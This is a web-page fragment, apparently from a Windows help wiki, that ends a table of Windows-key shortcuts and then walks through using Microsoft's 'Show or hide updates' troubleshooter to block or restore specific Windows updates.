class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Down arrow key</td><td class="table_body__data" colspan="1">Minimize app windows.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Home</td><td class="table_body__data" colspan="1">Minimize or maximize all but the active desktop window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + M</td><td class="table_body__data" colspan="1">Restore minimized windows on the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Up arrow key</td><td class="table_body__data" colspan="1">Stretch desktop window to the top and bottom of the screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Down arrow key</td><td class="table_body__data" colspan="1">Maximize or minimize active windows vertically while maintaining width.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Left arrow key</td><td class="table_body__data" colspan="1">Move active window to monitor on the left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Right arrow key</td><td class="table_body__data" colspan="1">Move active window to monitor on the right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Left arrow key</td><td class="table_body__data" colspan="1">Snap app or window left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Right arrow key</td><td class="table_body__data" colspan="1">Snap app or window right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Number (0-9)</td><td class="table_body__data" colspan="1">Open the app in number position in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + Number (0-9)</td><td class="table_body__data" colspan="1">Open another app instance in the number position in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Number (0-9)</td><td class="table_body__data" colspan="1">Switch to the last active window of the app in the number position in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Alt + Number (0-9)</td><td class="table_body__data" colspan="1">Open Jump List of the app in number position in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Shift + Number (0-9)</td><td class="table_body__data" colspan="1">Open another instance as an administrator of the app in the number position in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Spacebar</td><td class="table_body__data" colspan="1">Change previous selected input option.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Spacebar</td><td class="table_body__data" colspan="1">Change keyboard layout and input language.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Tab</td><td class="table_body__data" colspan="1">Open Task View.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + D</td><td class="table_body__data" colspan="1">Create a virtual desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + F4</td><td class="table_body__data" colspan="1">Close active virtual desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Right arrow</td><td class="table_body__data" colspan="1">Switch to the virtual desktop on the right.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Left arrow</td><td class="table_body__data" colspan="1">Switch to the virtual desktop on the left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Shift + B</td><td class="table_body__data" colspan="1">Wake up the device when black or a blank screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + PrtScn</td><td class="table_body__data" colspan="1">Capture a full screenshot in the "Screenshots" folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + S</td><td class="table_body__data" colspan="1">Create part of the screen screenshot.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + V</td><td class="table_body__data" colspan="1">Cycle through notifications.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + F</td><td class="table_body__data" colspan="1">Open search for the device on a domain network.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Ctrl + Q</td><td class="table_body__data" colspan="1">Open Quick Assist.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Alt + D</td><td class="table_body__data" colspan="1">Open date and time in the Taskbar.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Period (.) or Semicolon (;)</td><td class="table_body__data" colspan="1">Open emoji panel.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Pause</td><td class="table_body__data" colspan="1">Show System Properties dialog box.</td></tr></tbody></table>

</div></div><div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-7 slice-container-table" id="bkmrk-"></div>

# Windows Update

# Rollback Windows Update Patch

## Download the Show or Hide Updates Tool

[Download Show or hide updates from Microsoft](https://download.microsoft.com/download/f/2/2/f22d5fdb-59cd-4275-8c95-1be17bf70b21/wushowhide.diagcab). The downloaded file is named **wushowhide.diagcab**. Your web browser may report it as a virus or malware. But it is not. You should keep downloading it.

![downloaded wushowhide.diagcab](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-1.png)

## Run Show or Hide Update to Block Certain Updates

You don’t need to install this tool using the downloaded package. You just need to open the downloaded file to run the Show or hide updates troubleshooter on your PC. Here is how to use it to block specific updates on your Windows 10/11/Server computer.

Step 1: Double-click the downloaded file to open the **Show or hide updates** troubleshooter.

Step 2: Click the **Next** button to continue.

![click Next to run the troubleshooter](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-2.png)

Step 3: On the next page, click **Hide updates** to continue.

![click Hide updates](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-3.png)

Step 4: The Show or hide updates troubleshooter will begin to detect problems related to the Windows updates.

![the troubleshooter is detecting problems](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-4.png)

Step 5: When the detecting process ends, this tool will show all the updates that are available on your device. Then, you need to select the buggy update(s) you want to block or the updates you don’t want to install. After that, click **Next** to continue.

![select the updates you want to block to hide them](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-5.png)

Step 6: This tool begins to resolve the problems. You should wait patiently until the process completely ends.

![the tool is resolving problems](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-6.png)

Step 7: When the troubleshooting is completed, you will see the following interface on which you can see which updates are hidden.

![the troubleshooting is completed](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-7.png)

Step 8: Click the **Close** button to exit this tool.

This tool will hide your selected updates and your system will not install them on your device.

<div class="article-recommend-wrap" id="bkmrk--7"></div>### How to Show Hidden Updates on Windows 10/11?

You can also use the Show or hide updates troubleshooter to show hidden updates on your Windows 10/11 PC:

Step 1: Open **Show or hide updates**.

Step 2: Click **Next**.

Step 3: Click **Show hidden updates**.

Step 4: This tool will show the hidden updates. Then, you need to select the update(s) you want to install.

Step 5: Click **Next**.

![select the updates you want to install](https://images.minitool.com/minitool.com/images/uploads/news/2022/07/how-to-block-specific-updates-on-windows-10-11/how-to-block-specific-updates-on-windows-10-11-8.png)

Step 6: When the process ends, click **Close** to exit this tool.